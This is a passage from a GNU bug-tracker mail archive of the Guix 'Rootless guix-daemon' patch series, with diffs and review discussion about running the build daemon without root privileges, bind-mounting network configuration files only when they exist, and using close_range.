Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

Those files may be missing in some contexts, for instance within the
build environment.

* nix/libstore/build.cc (DerivationGoal::runChild): Add /etc/resolv.conf
and related files to ‘ss’ only if they exist.

Change-Id: Ie19664a86c8101a1dc82cf39ad4b7abb10f8250a
---
 nix/libstore/build.cc | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index edd01bab34d..8ca5e5b732c 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -2093,10 +2093,11 @@ void DerivationGoal::runChild()
                network, so give them access to /etc/resolv.conf and so
                on. */
             if (fixedOutput) {
-                ss.push_back("/etc/resolv.conf");
-                ss.push_back("/etc/nsswitch.conf");
-                ss.push_back("/etc/services");
-                ss.push_back("/etc/hosts");
+		auto files = { "/etc/resolv.conf", "/etc/nsswitch.conf",
+			       "/etc/services", "/etc/hosts" };
+		for (auto & file: files) {
+		    if (pathExists(file)) ss.push_back(file);
+		}
             }
 
             for (auto & i : ss) dirsInChroot[i] = i;
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 28 Feb 2025 14:30:09 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Feb 28 09:30:08 2025
Received: from localhost ([127.0.0.1]:47803 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1to1NM-0004Qn-QF
	for submit <at> debbugs.gnu.org; Fri, 28 Feb 2025 09:30:08 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:36516)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1to1NH-0004P4-UD
 for 75810 <at> debbugs.gnu.org; Fri, 28 Feb 2025 09:30:01 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1to1NA-0002DT-20; Fri, 28 Feb 2025 09:29:53 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:Date:Subject:To:From:in-reply-to:
 references; bh=3KoEV6d3IwZA+o9z6X2JwkW4pkj4V/mmt9sUhn53J9k=; b=eU2D7QWWfQpvDx
 SaE+cn6c86hSNN2G5Gi7IWh8UxM2zF2uD9b0I5aF8XGKXePR7YLIQqBJHayULXIX1H/RegboWLU1J
 uQ0nGHifP9lsPV80pCk+Vbq5DeRr6WHhvfTnkAu7NSaQillTwRiB9UmY+beIhpQPpoKeSPlwl87HL
 6d6QshamSyTDhb7MaPosTgGEDB0TDf+SfGAzHR6ssxyzRXQhllyx1vkGs510JY8mSsgICnQczznaq
 ZwWDFK42vGf/TmDTQ4FUr9r0aMcuvIV2zAIzcQG7yxK+CPbqwavzpCnZ11SDcEF4hSlYf3jImaEWQ
 R67YarUDq4o8MIUTQjGw==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v4 00/14] Rootless guix-daemon
Date: Fri, 28 Feb 2025 15:29:19 +0100
Message-ID: <cover.1740752774.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Debbugs-Cc: Christopher Baines <guix@HIDDEN>, Josselin Poiret <dev@HIDDEN>, Ludovic Courtès <ludo@HIDDEN>, Mathieu Othacehe <othacehe@HIDDEN>, Simon Tournier <zimon.toutoune@HIDDEN>, Tobias Geerinckx-Rice <me@HIDDEN>
Content-Transfer-Encoding: 8bit
X-Spam-Score: -1.4 (-)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>,
 Reepca Russelstein <reepca@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -2.4 (--)

Hello Guix!

Changes in v4, hopefully the last revision of this patch set:

  • For ‘deleteTmpDir’, go back to v2, but add ‘secureFilePerms’ call and
    define ‘reown’ variable to determine whether to re-chown after pivoting
    (suggested by Reepca).

  • For fixed outputs, bind-mount /etc/nsswitch.conf & co. only if they exist
    (necessary when running ‘guix build guix’, where these files are missing).

  • In ‘Derivationgoal::startBuilder’, when an input is a symlink, symlink it
    instead of bind-mounting it (bind mounts would reveal the symlink target,
    not the symlink itself.)  Add a test for that.

    Consequently, an input that is a symlink may be deleted by a build process.
    This is a harmless (only the copy of the symlink in the temporary store is
    deleted) but observable change.

  • Fix several tests that were missing explicit inputs (discovered by running
    ‘guix build guix’; this had gone unnoticed when I first ran ‘make check’
    because I was sharing ‘ac_cv_guix_test_root’ with my main Guix checkout,
    so these derivation results were already in store.)

  • Leave ‘makeStoreWritable’ unchanged compared to current ‘master’.

  • ‘guix-install.sh’ uses the ‘can_install_unprivileged_daemon’ function (it
    was defined but unused).

  • ‘./test-env’ warns when resorting to ‘--disable-chroot’.

  • Unprivileged daemon documented under “Build Environment Setup”.

I would like to push the two guix-daemon tests before this series:

  https://issues.guix.gnu.org/76488
  https://issues.guix.gnu.org/76636

Thoughts?  Are we done?

Ludo’.

Ludovic Courtès (14):
  daemon: Use ‘close_range’ where available.
  daemon: Bind-mount /etc/nsswitch.conf & co. only if it exists.
  daemon: Bind-mount all the inputs, not just directories.
  daemon: Remount inputs as read-only.
  daemon: Remount root directory as read-only.
  daemon: Allow running as non-root with unprivileged user namespaces.
  daemon: Create /var/guix/profiles/per-user unconditionally.
  daemon: Drop Linux ambient capabilities before executing builder.
  daemon: Move comments where they belong.
  tests: Add missing derivation inputs.
  tests: Run in a chroot and unprivileged user namespaces.
  etc: systemd services: Run ‘guix-daemon’ as an unprivileged user.
  guix-install.sh: Support the unprivileged daemon where possible.
  DRAFT gexp: No symlinks for ‘imported-files/derivation’.

 build-aux/test-env.in       |  16 ++-
 config-daemon.ac            |   5 +-
 doc/guix.texi               | 100 +++++++++++----
 etc/gnu-store.mount.in      |   3 +-
 etc/guix-daemon.service.in  |  20 ++-
 etc/guix-install.sh         | 106 +++++++++++----
 guix/gexp.scm               |   5 +-
 guix/substitutes.scm        |   4 +-
 nix/libstore/build.cc       | 226 ++++++++++++++++++++++++--------
 nix/libstore/local-store.cc |  26 ++--
 nix/libutil/util.cc         |  23 +++-
 tests/derivations.scm       |  24 ++--
 tests/packages.scm          |  13 +-
 tests/processes.scm         |   9 +-
 tests/store.scm             | 250 +++++++++++++++++++++++++++++++-----
 15 files changed, 650 insertions(+), 180 deletions(-)


base-commit: a76708a872e65230931f3c5c3b079d0a39d5cb84
-- 
2.48.1





Information forwarded to guix@HIDDEN, dev@HIDDEN, ludo@HIDDEN, othacehe@HIDDEN, zimon.toutoune@HIDDEN, me@HIDDEN, guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 28 Feb 2025 14:30:05 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Feb 28 09:30:04 2025
Received: from localhost ([127.0.0.1]:47799 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1to1NL-0004QZ-Qd
	for submit <at> debbugs.gnu.org; Fri, 28 Feb 2025 09:30:04 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:36512)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1to1NH-0004P3-SZ
 for 75810 <at> debbugs.gnu.org; Fri, 28 Feb 2025 09:30:01 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1to1NB-0002Da-N0; Fri, 28 Feb 2025 09:29:53 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=0izMrOHlIq4NgLJJUeAlULEe8K+llpxfq6yctCHxero=; b=pjJYlMH89ls2eK+OSh6X
 WFe9MaRzYMMv0gHZ1Y/3YalqMfbqk7kS94XEbh5wQaMOXfTYsdrStPjpk1qVmfbrDeCE2No8XDj+a
 QUKqiU7loyGLQeHDnP7L3y1L2skCByLnc4lylc3/jmJNCL0fOFzN7BJe++k83jyLSAFn+VG+sElyQ
 Re2wyHGeFatbKVYMizBBhq9Oxn6y3YsIfTwH86GPi/9CdZGfEQLOP2/8+hsMMiZsrzTMWlt49kDIc
 UvQjIFCLeCP5e7yHtO9+mjD49VfzjIkYY/0oxyD+7U4aDvI+FdgCxbWN0QmAKB5H3I88CQc9m/ueI
 1ZCg6Ldd8eC6xQ==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v4 01/14] =?UTF-8?q?daemon:=20Use=20=E2=80=98close=5Frange?=
 =?UTF-8?q?=E2=80=99=20where=20available.?=
Date: Fri, 28 Feb 2025 15:29:20 +0100
Message-ID: <a6cdda9b1569fa4211e08164af40f1f1ede5ac53.1740752774.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1740752774.git.ludo@HIDDEN>
References: <cover.1740752774.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* nix/libutil/util.cc (closeMostFDs) [HAVE_CLOSE_RANGE]: Use
‘close_range’ when ‘exceptions’ is empty.
* config-daemon.ac: Check for <linux/close_range.h> and the
‘close_range’ symbol.

Change-Id: I12fa3bde58b003fcce5ea5a1fee1dcf9a92c0359
---
 config-daemon.ac    |  5 +++--
 nix/libutil/util.cc | 23 +++++++++++++++++------
 2 files changed, 20 insertions(+), 8 deletions(-)

diff --git a/config-daemon.ac b/config-daemon.ac
index 6731c68bc39..4e949bc88a3 100644
--- a/config-daemon.ac
+++ b/config-daemon.ac
@@ -78,7 +78,8 @@ if test "x$guix_build_daemon" = "xyes"; then
 
   dnl Chroot support.
   AC_CHECK_FUNCS([chroot unshare])
-  AC_CHECK_HEADERS([sched.h sys/param.h sys/mount.h sys/syscall.h])
+  AC_CHECK_HEADERS([sched.h sys/param.h sys/mount.h sys/syscall.h \
+    linux/close_range.h])
 
   if test "x$ac_cv_func_chroot" != "xyes"; then
     AC_MSG_ERROR(['chroot' function missing, bailing out])
@@ -95,7 +96,7 @@ if test "x$guix_build_daemon" = "xyes"; then
   dnl strsignal: for error reporting.
   dnl statx: fine-grain 'stat' call, new in glibc 2.28.
   AC_CHECK_FUNCS([lutimes lchown posix_fallocate sched_setaffinity \
-     statvfs nanosleep strsignal statx])
+     statvfs nanosleep strsignal statx close_range])
 
   dnl Check for <locale>.
   AC_LANG_PUSH(C++)
diff --git a/nix/libutil/util.cc b/nix/libutil/util.cc
index 3206dea11b1..eb2d16e1cc3 100644
--- a/nix/libutil/util.cc
+++ b/nix/libutil/util.cc
@@ -23,6 +23,10 @@
 #include <sys/prctl.h>
 #endif
 
+#ifdef HAVE_LINUX_CLOSE_RANGE_H
+# include <linux/close_range.h>
+#endif
+
 
 extern char * * environ;
 
@@ -1087,12 +1091,19 @@ string runProgram(Path program, bool searchPath, const Strings & args)
 
 void closeMostFDs(const set<int> & exceptions)
 {
-    int maxFD = 0;
-    maxFD = sysconf(_SC_OPEN_MAX);
-    for (int fd = 0; fd < maxFD; ++fd)
-        if (fd != STDIN_FILENO && fd != STDOUT_FILENO && fd != STDERR_FILENO
-            && exceptions.find(fd) == exceptions.end())
-            close(fd); /* ignore result */
+#ifdef HAVE_CLOSE_RANGE
+    if (exceptions.empty())
+	 close_range(3, ~0U, 0);
+    else
+#endif
+    {
+	 int maxFD = 0;
+	 maxFD = sysconf(_SC_OPEN_MAX);
+	 for (int fd = 0; fd < maxFD; ++fd)
+	      if (fd != STDIN_FILENO && fd != STDOUT_FILENO && fd != STDERR_FILENO
+		  && exceptions.find(fd) == exceptions.end())
+		   close(fd); /* ignore result */
+    }
 }
 
 
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.
Added blocking bug(s) 76376 Request was from Ludovic Courtès <ludo@HIDDEN> to control <at> debbugs.gnu.org. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 28 Feb 2025 09:43:38 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Feb 28 04:43:38 2025
Received: from localhost ([127.0.0.1]:45191 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tnwu9-0004zl-CE
	for submit <at> debbugs.gnu.org; Fri, 28 Feb 2025 04:43:38 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:39706)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tnwu5-0004yu-Pz
 for 75810 <at> debbugs.gnu.org; Fri, 28 Feb 2025 04:43:35 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tnwtz-0005Qz-B5; Fri, 28 Feb 2025 04:43:27 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:Date:References:In-Reply-To:Subject:To:
 From; bh=Tz6UceTIt5lV6ctIq7esttcu+BOSHIjEbnTFNIN4eSY=; b=AGnOvVLdZ88uiffQ3P4H
 bK8JdA0tCeo+daq3HK5YvJlze1BqJd7VX0EctXx6UuKhl8Qhl8860elB89p8tfJdnUMvA5CpkT0G1
 BHVfFNm84svCjTXWwryMQn+M9T3P4ssSpDTnZ48Hjoj+W3C/rbO0Wat7SARdUBeiu6qFdFWVKJWi6
 QKr69G4Fyip0d4SwFlr9d+DSDdg00dZ/ChJOCoDJSriOYWt+la7yQKXpahQHj3pva3ec+fs6KXAsr
 0O4VOzF4p6yVbGk2hmqqKO9/LbtgQMSMouUwsi20Go8tfMUCTIFF7v6LtuaZlDQO/zWGGVjQMtnZa
 7P5qNOFHP0/7Bg==;
From: =?utf-8?Q?Ludovic_Court=C3=A8s?= <ludo@HIDDEN>
To: Reepca Russelstein <reepca@HIDDEN>
Subject: Re: [bug#75810] [PATCH v3 00/11] Rootless guix-daemon
In-Reply-To: <877c5idit1.fsf@HIDDEN> (Reepca Russelstein's message of
 "Fri, 21 Feb 2025 16:39:06 -0600")
References: <cover.1740142328.git.ludo@HIDDEN>
 <877c5idit1.fsf@HIDDEN>
Date: Fri, 28 Feb 2025 10:43:24 +0100
Message-ID: <87wmdatner.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-Spam-Score: -1.5 (-)
X-Debbugs-Envelope-To: 75810
Cc: 75810 <at> debbugs.gnu.org
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -2.5 (--)

Hi,

Reepca Russelstein <reepca@HIDDEN> skribis:

>>   =E2=80=A2 Unit files for systemd tweaked so that (1) guix-daemon sees
>>     a private read-write mount of the store, and (2) gnu-store.mount
>>     actually remounts the store read-only after guix-daemon has
>>     started.
>
> I'm not familiar with how systemd does service dependencies, but does
> this mean that the store becomes writable when the daemon is stopped?

I had to check because it=E2=80=99s not crystal clear.

=E2=80=98systemctl stop guix-daemon=E2=80=99 also stops =E2=80=98gnu-store.=
mount=E2=80=99.

But then you can do =E2=80=98systemctl start gnu-store.mount=E2=80=99, whic=
h does *not*
start guix-daemon; at that point, =E2=80=98systemctl start guix-daemon=E2=
=80=99 spawns
guix-daemon, but it cannot write to the store.

It=E2=80=99s messy, but I don=E2=80=99t know how to do better.

[...]

> It may work well to use the v2 patch for this with a call to
> secureFilePerms added right before the try block and a have_cap_chown
> boolean flag being saved for later recall after the pivot instead of the
> (getuid() !=3D 0) check.  That way in the fully-unprivileged case it
> doesn't successfully pivot the now-sanitized build directory only to
> immediately fail to chown it.  Actually, because that chown call doesn't
> result in an exception on failure, it would also work to only add the
> secureFilePerms call.

I went back to v2 + =E2=80=98secureFilePerms=E2=80=99 call.

> Also, I've discovered that while mount(2) uses EPERM for both a locked
> mount point and insufficient privileges, umount(2) uses EINVAL for the
> former and EPERM for the latter.  This may be a good way to test that
> we're triggering the mount-locking behavior as intended.

The tests try to MS_REMOUNT the inputs, which is exactly what we want to
prevent; we could test the low-level semantics you describe, but it=E2=80=
=99s
quite obscure and maybe unnecessary given that we test MS_REMOUNT?

>> The one observable difference compared to current guix-daemon
>> operational mode is that, in the build environment, writing to
>> the root file system results in EROFS instead of EPERM, as you
>> pointed out earlier.  That=E2=80=99s not great but probably acceptable.
>> We=E2=80=99ll only know whether this is a problem in practice once we=E2=
=80=99ve
>> run the test suites of tens of thousands of packages.
>
> Strictly speaking, it's also observable that the root file system,
> store, /tmp, etc is not owned by uid 0, and that the input store items
> are all mounted read-only.

Right.

I=E2=80=99ll send v4 shortly.  Thanks again for your feedback!

Ludo=E2=80=99.




Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 22 Feb 2025 17:16:46 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Sat Feb 22 12:16:45 2025
Received: from localhost ([127.0.0.1]:57061 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tlt7N-0002Vj-Ig
	for submit <at> debbugs.gnu.org; Sat, 22 Feb 2025 12:16:45 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:60024)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tlt7K-0002VP-It
 for 75810 <at> debbugs.gnu.org; Sat, 22 Feb 2025 12:16:43 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tlt7C-0004y3-LW; Sat, 22 Feb 2025 12:16:35 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:Date:References:In-Reply-To:Subject:To:
 From; bh=93p/wijZCltWRHsCv26oQzngS7PAiwmHE8iVY9MAJnw=; b=DPXv0GQV1q1+nlh5CrCw
 zjkKn+pL8Z3rAmIYrIGzo/gYsIfNRoHhIEVs3TS1JCGr5scigh1Z1HMpR7juMK2Mfbr3UIrOPZ6w9
 +xrHugyRIJr+tUy2GtAlQOl7sUe+VPO1VPs/wuHm7TSuqHUC10D0K98y0gZSj6TBjvw4rpp5+Icv2
 Y3e6XgDvUHwWtqQu3YG74NJfDf10kY2V8OdxjJvlS3oSe6YvkXOKhxmNnNznCuDGoiqmNtXQNdfDX
 juJ/4Lx1vMpA9p2gCryJlRyFbYz9Sei3VkY0BtE5LvnNrgphIrZklyvMzDJBdNRgy1b3xq6ataic/
 yPyibXareiU78A==;
From: =?utf-8?Q?Ludovic_Court=C3=A8s?= <ludo@HIDDEN>
To: Simon Tournier <zimon.toutoune@HIDDEN>
Subject: Re: [bug#75810] [PATCH v3 00/11] Rootless guix-daemon
In-Reply-To: <87jz9jrzfo.fsf@HIDDEN> (Simon Tournier's message of "Fri, 21
 Feb 2025 18:16:11 +0100")
References: <cover.1737738362.git.ludo@HIDDEN>
 <cover.1740142328.git.ludo@HIDDEN> <87jz9jrzfo.fsf@HIDDEN>
Date: Sat, 22 Feb 2025 18:16:17 +0100
Message-ID: <87y0xx528u.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: Reepca Russelstein <reepca@HIDDEN>, 75810 <at> debbugs.gnu.org
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

Hi,

Simon Tournier <zimon.toutoune@HIDDEN> skribis:

> Quoting Janneke [1]:
>
>         I'm kind of afraid that having a writable /gnu/store, even if it'=
s just
>         on foreign distributions,

This problem is fixed in v3: the store will be remounted readonly as is
currently the case.

> Could you clarify the status about the store when running guix-daemon as
> root on foreign distros?  Or maybe now, will guix-daemon always run as a
> regular user on foreign distros?

As currently written, guix-daemon will always run as non-root on foreign
distros (on systemd-based distros specifically.)

>>From an user perspective, instead of running guix-daemon as root, now
> guix-daemon will run as the regular user named =E2=80=99guix-daemon=E2=80=
=99 without any
> special privileges, right?

Correct.

> User still need root privileges once at guix-install.sh time but not
> more.  Therefore, for updating the guix-daemon, the user guix-daemon
> needs to run =E2=80=9Cguix pull=E2=80=9C and restart the service, right?

The upgrade procedure remains unchanged: you would run =E2=80=98guix pull=
=E2=80=99 as
root and restart the service=C2=B9 (the service itself runs as user
=E2=80=98guix-daemon=E2=80=99).

> If yes, cool!  It=E2=80=99ll be a booster for cluster sysadmins. :-)

Yup!

Ludo=E2=80=99.

=C2=B9 https://guix.gnu.org/manual/devel/en/html_node/Upgrading-Guix.html




Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 22 Feb 2025 17:12:27 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Sat Feb 22 12:12:27 2025
Received: from localhost ([127.0.0.1]:57053 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tlt3D-0002HS-0x
	for submit <at> debbugs.gnu.org; Sat, 22 Feb 2025 12:12:27 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:49484)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tlt3B-0002HE-Dh
 for 75810 <at> debbugs.gnu.org; Sat, 22 Feb 2025 12:12:25 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tlt35-0004Rr-6M; Sat, 22 Feb 2025 12:12:19 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:Date:References:In-Reply-To:Subject:To:
 From; bh=5cjo95l86nd1K4e4k9NumfJx11LJzndQq/hGA/b5JvU=; b=jcaHzHeZgpheHRTgYndC
 2GSLogP9vBekiCs1/aMK91TOsfLRVtnwCRAxuODmuJm2oFDU2d3jSrtUJ5wdBjhRU9vXErajAn9Qo
 xEqTavOcPpcw/8EJjFCriLN/kI0xiJ5wmO8C6Lm8Z/dfb1Nq1A/5JiapIP1KE/YF5U//Rz9n7zqx5
 nouoDIttk7e/6vnWtLdsJNns2aodJC7qOmDqe1eJojmfiq0KbZ2wG323Rmq1GWz3iR0N9HHVFg0TF
 RobiBNf7EE9ygYwtVCGv3cbhuK8oMXaFhQuzl+L49c4BS4+VWJ79icExEy3H6A8DHh5UbJIFl1YE1
 3fh3+5Aj/CYEEA==;
From: =?utf-8?Q?Ludovic_Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: Re: [bug#75810] [PATCH v3 00/11] Rootless guix-daemon
In-Reply-To: <cover.1740142328.git.ludo@HIDDEN> ("Ludovic =?utf-8?Q?Court?=
 =?utf-8?Q?=C3=A8s=22's?= message
 of "Fri, 21 Feb 2025 14:05:48 +0100")
References: <cover.1737738362.git.ludo@HIDDEN>
 <cover.1740142328.git.ludo@HIDDEN>
Date: Sat, 22 Feb 2025 18:12:02 +0100
Message-ID: <87bjut6h0d.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: Reepca Russelstein <reepca@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
